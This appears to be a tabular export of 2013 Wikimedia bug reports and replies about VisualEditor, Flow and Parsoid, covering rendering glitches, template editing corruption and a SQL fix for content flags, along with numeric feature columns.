**Severity**: normal",Needs Triage,90.0,1379502900,1380072033.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-dfnjvi4ebxg4qf7ygljp,task_description,resolved,True,c1,3,False,False,True,11,,0.0,0.0,0.0,0.0,2.0,11.0,5.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,0.0,6.0,6.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,2.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,5.0,5.0,14.0,4.0,2.0,6.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,10.0,6.0,2.0,0.0,0.0,0.0,10.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,3.4814814814814814,0.7037037037037037,"It is not easy, but you can create an empty wikilink with VE, URL (I was able to reproduce that somehow, I think I just added the link to an empty space).
I can't imagine a situation where this is desirable or useful, please correct me if I am wrong.
Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal"
243647,VisualEditor: prevent creating internal links with no displayed text or warn this is happening,"Merging with bug 37835.

*** This bug has been marked as a duplicate of bug 37835 ***",,,1380072033,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-dfnjvi4ebxg4qf7ygljp,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.0434782608695654,0.6521739130434783,"Merging with bug 37835.

*** This bug has been marked as a duplicate of bug 37835 ***"
56257,visible parsoid HTML in existing Flow content on toro,"I updated Flow, Parsoid, and VisualEditor on toro. Adding a new post worked fine and brought up VE (after a long delay during which the text area should probably be locked) and I could WYSIWYG. \o/

But existing summary and some posts on http://toro.wmflabs.org/wiki/Special:Flow/Sandbox_2 that have images and links in them show stuff like
  <a rel=""mw:WikiLink"" href="".//Subpage"" data-parsoid=""{""stx"":""simple"",""a"":{""href"":"".//Subpage""},""sa"":{""href"":""/Subpage""},""dsr"":[89,101,2,2]}"">

suggesting Flow is having problems figuring out Parsoid HTML content.

I had set $wgFlowUseParsoid=true, now I think obsolete. I tried setting $wgFlowContentFormat='html', didn't seem to change behavior.

Firebug reported some XHR errors, possibly from some VE API call, but now not.

If the issue is existing content doesn't render right, this is fine to mark WONTFIX. We haven't promised data compatibility yet.

--------------------------
**Version**: master
**Severity**: normal",Needs Triage,90.0,1379482140,1379545289.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-qjg3q7wq3q3awr64hcmy,task_description,resolved,True,c1,3,False,False,True,11,,1.5,0.0,0.0,0.5,2.0,4.5,0.5,0.0,0.0,0.5,0.5,2.0,0.5,0.0,0.0,3.0,0.5,5.5,6.0,0.0,1.0,0.5,0.0,0.0,3.5,0.5,0.5,0.0,0.5,0.0,0.5,4.5,1.0,0.0,2.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,1.0,1.5,0.0,0.5,0.0,0.5,0.0,13.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.5,0.0,2.0,0.0,0.5,0.0,0.5,0.0,2.5,2.0,13.5,0.5,3.5,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.5,6.0,9.0,0.0,2.0,0.0,3.5,0.0,1.0,1.5,0.5,3.5,0.5,0.0,1.0,4.472222222222222,0.75,"I updated Flow, Parsoid, and VisualEditor on toro. Adding a new post worked fine and brought up VE (after a long delay during which the text area should probably be locked) and I could WYSIWYG. \o/

But existing summary and some posts on URL that have images and links in them show stuff like
  <a rel=""mw:WikiLink"" href="".//Subpage"" data-parsoid=""{""stx"":""simple"",""a"":{""href"":"".//Subpage""},""sa"":{""href"":""/Subpage""},""dsr"":[89,101,2,2]}"">

suggesting Flow is having problems figuring out Parsoid HTML content.

I had set $wgFlowUseParsoid=true, now I think obsolete. I tried setting $wgFlowContentFormat='html', didn't seem to change behavior.

Firebug reported some XHR errors, possibly from some VE API call, but now not.

If the issue is existing content doesn't render right, this is fine to mark WONTFIX. We haven't promised data compatibility yet.

--------------------------
**Version**: master
**Severity**: normal"
243217,visible parsoid HTML in existing Flow content on toro,"(In reply to comment #2)
> This is due to us previously not tracking what kind of content was stored in
> the field.
Yup, flow_revision rev_flags had just 'utf-8'.

> UPDATE flow_revision set rev_flags = CONCAT(rev_flags, ',html' ) WHERE
> rev_flags NOT LIKE '%html%' and rev_flags NOT LIKE '%wikitext%';

It worked! (now Toro has other errors...)",,,1379545289,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-qjg3q7wq3q3awr64hcmy,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,3.0,0.0,3.0,5.0,8.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1794871794871793,0.7435897435897436,"(In reply to comment #2)
QUOTE
QUOTE
Yup, flow_revision rev_flags had just 'utf-8'.

QUOTE
QUOTE

It worked! (now Toro has other errors...)"
243214,visible parsoid HTML in existing Flow content on toro,"This is due to us previously not tracking what kind of content was stored in the field.  We now store a value of either 'html' or 'wikitext' in the content flags of the revision.  Not highly efficient, but the following query would fix the issue:


UPDATE flow_revision set rev_flags = CONCAT(rev_flags, ',html' ) WHERE rev_flags NOT LIKE '%html%' and rev_flags NOT LIKE '%wikitext%';

Untested, but should work.  Not sure if its worthwhile to build out the proper maintenance script to migrate.",,,1379515263,,PHID-USER-r5pzlcquei6f4hb53rfg,False,,,PHID-TASK-qjg3q7wq3q3awr64hcmy,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.5,0.5,4.0,3.0,0.5,0.0,0.0,1.0,1.0,7.5,0.0,0.0,0.0,1.0,0.0,6.0,8.5,0.0,2.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.5,0.0,0.5,0.0,0.0,0.0,14.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,10.0,2.0,3.0,5.0,0.0,0.0,0.0,0.0,3.5,1.0,1.0,0.0,2.0,8.5,1.5,0.0,7.5,0.0,2.0,0.0,1.5,0.5,0.5,1.0,0.0,0.0,0.0,3.861111111111111,0.75,"This is due to us previously not tracking what kind of content was stored in the field.  We now store a value of either 'html' or 'wikitext' in the content flags of the revision.  Not highly efficient, but the following query would fix the issue:


UPDATE flow_revision set rev_flags = CONCAT(rev_flags, ',html' ) WHERE rev_flags NOT LIKE '%html%' and rev_flags NOT LIKE '%wikitext%';

Untested, but should work.  Not sure if its worthwhile to build out the proper maintenance script to migrate."
243211,visible parsoid HTML in existing Flow content on toro,Prioritization and scheduling of this bug is tracked on Mingle card https://mingle.corp.wikimedia.org/projects/flow/cards/185,,,1379483847,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-qjg3q7wq3q3awr64hcmy,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Prioritization and scheduling of this bug is tracked on Mingle card URL
56205,VisualEditor: Dimensions of small images are lost in rendering,"Images that have thumbnail sizes that are larger than the original should be rendered at the specified size, not the size of the original.

MediaWiki core does this, but somewhere between MediaWiki/Parsoid/VisualEditor the specified dimensions are lost.


For example, on https://www.mediawiki.org/wiki/VisualEditor/Team there are various uses of [[File:Wikimedia_Foundation_office_camera_shy.png]] (of which the full size is 140px). The thumbnail size on that page is 150px, and when viewing the page normally it is rendered at 150px (browser scales up from 140px non-thumb url), but when editing in VisualEditor the node has a width attribtue of 140 instead of 150.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1379390340,1415881118.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-bd72y7iiei67kbxti76b,task_description,resolved,True,c1,3,True,False,False,11,,0.0,0.0,0.0,1.5,0.5,7.5,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,4.0,9.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,1.0,0.0,13.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,6.0,4.0,7.5,1.5,2.0,7.5,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.5,9.0,3.5,0.0,0.0,0.0,0.5,0.0,3.0,0.5,0.0,1.5,0.5,0.0,2.0,4.259657947686117,0.7163983903420523,"Images that have thumbnail sizes that are larger than the original should be rendered at the specified size, not the size of the original.

MediaWiki core does this, but somewhere between MediaWiki/Parsoid/VisualEditor the specified dimensions are lost.


For example, on URL there are various uses of [[File:Wikimedia_Foundation_office_camera_shy.png]] (of which the full size is 140px). The thumbnail size on that page is 150px, and when viewing the page normally it is rendered at 150px (browser scales up from 140px non-thumb url), but when editing in VisualEditor the node has a width attribtue of 140 instead of 150.

--------------------------
**Version**: unspecified
**Severity**: normal"
240461,VisualEditor: Dimensions of small images are lost in rendering,Re-checked on https://www.mediawiki.org/wiki/VisualEditor/Team - seems to be fixed.,,,1415912062,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-bd72y7iiei67kbxti76b,task_subcomment,,True,c1,3,True,,,71,,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8181818181818183,0.9090909090909091,Re-checked on URL - seems to be fixed.
240455,VisualEditor: Dimensions of small images are lost in rendering,Fixed in 2013.,,,1415881118,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bd72y7iiei67kbxti76b,task_subcomment,,True,c1,3,True,,,71,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Fixed in 2013.
56182,Cant edit as logged in,"Using FF 23.0.1 and Google Chrome 29.0.1547.66 m. Try edit w:en:Ondine's curse from a section #Treatment and prognosis. When logged the page shows to be in process, but never allowes editing. Why I log of editing via VE is possible within seconds.

--------------------------
**Version**: unspecified
**Severity**: blocker",Needs Triage,90.0,1379362020,1379376765.0,PHID-USER-vm462i2ffbawnuo4mh3n,False,,False,PHID-TASK-sj7ezonvgeb3be62737a,task_description,invalid,True,c1,3,False,False,True,11,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,19.0,3.0,4.0,3.0,0.0,0.0,0.0,1.0,3.0,0.0,3.0,0.0,1.0,11.0,7.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,3.0,0.0,0.0,0.0,3.9857142857142858,0.7857142857142857,"Using FF 23.0.1 and Google Chrome 29.0.1547.66 m. Try edit w:en:Ondine's curse from a section #Treatment and prognosis. When logged the page shows to be in process, but never allowes editing. Why I log of editing via VE is possible within seconds.

--------------------------
**Version**: unspecified
**Severity**: blocker"
239002,Cant edit as logged in,"OK, thank you.",,,1379399232,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-sj7ezonvgeb3be62737a,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.4,1.0,"OK, thank you."
238998,Cant edit as logged in,"This sounds like you have a gadget or user script that is breaking VisualEditor - I can make an edit successfully: https://en.wikipedia.org/w/index.php?title=Ondine%27s_curse&diff=573233549&oldid=565577837

If you disable your scripts and gadgets one-by-one you should be able to discover which one causes the problem, which will allow you to notify the author that their code is broken and needs to be fixed.

Marking as ""INVALID"" as gadgets are not tracked in Bugzilla but on-wiki. Sorry for the disruption - if you need a developer to explain to the offending gadget's author how to fix their code, please direct the author to us in IRC at #mediawiki-visualeditor, on e-mail or here on Bugzilla.",,,1379376765,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sj7ezonvgeb3be62737a,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,2.0,1.0,0.5,0.5,0.0,0.0,1.5,3.0,0.0,0.0,0.0,0.0,1.5,0.0,3.0,14.0,0.0,3.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,5.5,0.5,0.0,1.0,3.5,0.0,0.5,2.0,0.5,0.0,1.5,0.0,1.0,0.0,0.5,0.5,0.5,0.0,14.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.0,0.5,0.5,5.0,3.0,7.0,2.5,3.0,6.5,0.0,0.0,0.0,1.0,5.5,1.5,0.5,0.0,6.0,14.0,4.0,0.0,1.5,0.0,6.0,0.0,2.5,2.0,1.0,2.0,0.0,0.0,0.0,3.8257575757575757,0.75,"This sounds like you have a gadget or user script that is breaking VisualEditor - I can make an edit successfully: URL

If you disable your scripts and gadgets one-by-one you should be able to discover which one causes the problem, which will allow you to notify the author that their code is broken and needs to be fixed.

Marking as ""INVALID"" as gadgets are not tracked in Bugzilla but on-wiki. Sorry for the disruption - if you need a developer to explain to the offending gadget's author how to fix their code, please direct the author to us in IRC at #mediawiki-visualeditor, on e-mail or here on Bugzilla."
238994,Cant edit as logged in,"Sorry for mispeling. ""When I log off...""",,,1379362130,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-sj7ezonvgeb3be62737a,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,18.0,0.0,0.0,18.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.090909090909091,0.9090909090909091,"Sorry for mispeling. ""When I log off..."""
55979,VisualEditor: Edit summary field loses focus when pasting (Firefox),"When pasting some text into the edit summary box in Firefox 23 (via Ctrl+V or context menu), the paste occurs, but the edit summary box loses focus.

Possibly related to bug 53632??

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1378792920,1393634141.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-pdpn7hvlculri4ccy42t,task_description,resolved,True,c1,3,False,False,False,10,,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,2.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,5.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.8448275862068964,0.7068965517241379,"When pasting some text into the edit summary box in Firefox 23 (via Ctrl+V or context menu), the paste occurs, but the edit summary box loses focus.

Possibly related to bug 53632??

--------------------------
**Version**: unspecified
**Severity**: normal"
250892,VisualEditor: Edit summary field loses focus when pasting (Firefox),"Now that the edit summary is in its own window, this bug has gone away. I don't know whether the plan is to eventually return to the edit confirmation flyout - if so this bug may well reappear.",,,1393634141,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-pdpn7hvlculri4ccy42t,task_subcomment,,True,c1,3,False,,,34,,0.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,12.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,7.0,5.0,5.0,10.0,0.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,17.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.8095238095238095,"Now that the edit summary is in its own window, this bug has gone away. I don't know whether the plan is to eventually return to the edit confirmation flyout - if so this bug may well reappear."
55927,Templates and tables {{infobox ship begin}},"This is going to give you a headache

{{Infobox ship begin}}
http://en.wikipedia.org/wiki/Template:Infobox_ship_begin
is used in 26840 pages. I provides styling for tables used to make infoboxes relating to ships. It is used like

{|{{Infobox ship begin}}
{{Infobox ship image
|Ship image=[[File:Whydah-model.jpg|300px]]
|Ship caption=The ''Whydah Gally'' (1716–1717)
}}
{{Infobox Ship Career
...
}}
|-
|Commanded by:
|Cap't. [[Lawrence Prince]]
...
|}

The template transcludes {{WPMILHIST Infobox style}} which provides CSS styling
class=""infobox {{#if:{{{2|}}}|{{{2}}}}}"" style=""float: right; clear: right; width: 315px; border-spacing: 2px; text-align: left; font-size: 90%;""
So the table start tag and its styling are separate.

Unsurprisingly VE fails to edit pages with this template correctly. The following was reported at 
http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=572065469

Open the article in the visual editor, e.g. by visiting https://en.wikipedia.org/wiki/Whydah_Gally?veaction=edit
Observe the article now leads with the out-of-place text 
 <nowiki>class=""infobox "" style=""float: right; clear: right; width: 315px; border-spacing: 2px; text-align: left; font-size: 90%;""</nowiki>
try to click ""save page"" but note that it is not active
make a trivial change so that ""save page"" is active.  Click it
Click ""review your changes"", not that it says that
<nowiki>{{Italic title}}{|{{Infobox ship begin}}</nowiki>
was replaced with
<nowiki>{{Italic title}}{{Infobox ship begin}}
{|{{Infobox ship begin}}</nowiki>

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1378673760,1386015391.0,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,False,PHID-TASK-lxnv4tg7oifuczocddhi,task_description,resolved,True,c1,3,False,False,False,9,,0.0,0.0,0.0,1.0,0.5,5.0,0.75,0.0,0.0,0.0,0.75,0.5,0.0,0.0,0.0,0.25,0.0,1.75,5.75,0.0,1.0,0.0,0.25,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.25,5.0,0.5,1.25,0.5,0.5,0.0,0.25,1.0,0.0,0.0,0.0,0.25,0.75,0.0,0.5,0.0,0.0,0.5,16.25,0.5,0.5,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.0,8.0,1.5,0.5,3.25,0.0,0.0,0.0,0.25,2.5,0.0,0.75,0.0,2.25,5.75,6.0,0.0,2.5,0.0,2.25,0.0,0.25,0.5,0.0,1.0,0.0,0.0,2.75,3.650894723092999,0.6152364158829676,"This is going to give you a headache

{{Infobox ship begin}}
URL
is used in 26840 pages. I provides styling for tables used to make infoboxes relating to ships. It is used like

{|{{Infobox ship begin}}
{{Infobox ship image
|Ship image=[[File:Whydah-model.jpg|300px]]
|Ship caption=The ''Whydah Gally'' (1716–1717)
}}
{{Infobox Ship Career
...
}}
|-
|Commanded by:
|Cap't. [[Lawrence Prince]]
...
|}

The template transcludes {{WPMILHIST Infobox style}} which provides CSS styling
class=""infobox {{#if:{{{2|}}}|{{{2}}}}}"" style=""float: right; clear: right; width: 315px; border-spacing: 2px; text-align: left; font-size: 90%;""
So the table start tag and its styling are separate.

Unsurprisingly VE fails to edit pages with this template correctly. The following was reported at 
URL

Open the article in the visual editor, e.g. by visiting URL
Observe the article now leads with the out-of-place text 
 <nowiki>class=""infobox "" style=""float: right; clear: right; width: 315px; border-spacing: 2px; text-align: left; font-size: 90%;""</nowiki>
try to click ""save page"" but note that it is not active
make a trivial change so that ""save page"" is active.  Click it
Click ""review your changes"", not that it says that
<nowiki>{{Italic title}}{|{{Infobox ship begin}}</nowiki>
was replaced with
<nowiki>{{Italic title}}{{Infobox ship begin}}
{|{{Infobox ship begin}}</nowiki>

--------------------------
**Version**: unspecified
**Severity**: normal"
247739,Templates and tables {{infobox ship begin}},"

*** This bug has been marked as a duplicate of bug 53139 ***",,,1386015391,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-lxnv4tg7oifuczocddhi,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 53139 ***"
247733,Templates and tables {{infobox ship begin}},"Thanks for filing the report. We should have a fix for the edit corruption bug soon (it will be fixed as part of a patch that Arlo is working on). More later on the other parts of the bug, once we discuss how to handle this.",,,1378861053,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-lxnv4tg7oifuczocddhi,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,17.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,17.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,4.0,8.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,17.0,2.0,0.0,0.0,0.0,6.0,0.0,4.0,4.0,0.0,4.0,2.0,0.0,0.0,3.4423076923076925,0.8076923076923077,"Thanks for filing the report. We should have a fix for the edit corruption bug soon (it will be fixed as part of a patch that Arlo is working on). More later on the other parts of the bug, once we discuss how to handle this."
55896,VisualEditor: Disallow media items in other media items' captions,"This is a strange edit, where a new editor inserted an image in the image description of an existing image. A bug or something that should be able to be done? 

https://sv.wikipedia.org/w/index.php?title=Dry_Martini&diff=prev&oldid=23709630

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1378584900,1383759108.0,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,False,PHID-TASK-zomjkczfpnrvxzpe4yzr,task_description,invalid,True,c1,3,False,False,False,9,,0.0,2.0,0.0,2.0,0.0,9.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,9.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,2.0,0.0,0.0,0.0,3.7962962962962963,0.7222222222222222,"This is a strange edit, where a new editor inserted an image in the image description of an existing image. A bug or something that should be able to be done? 

URL

--------------------------
**Version**: unspecified
**Severity**: normal"
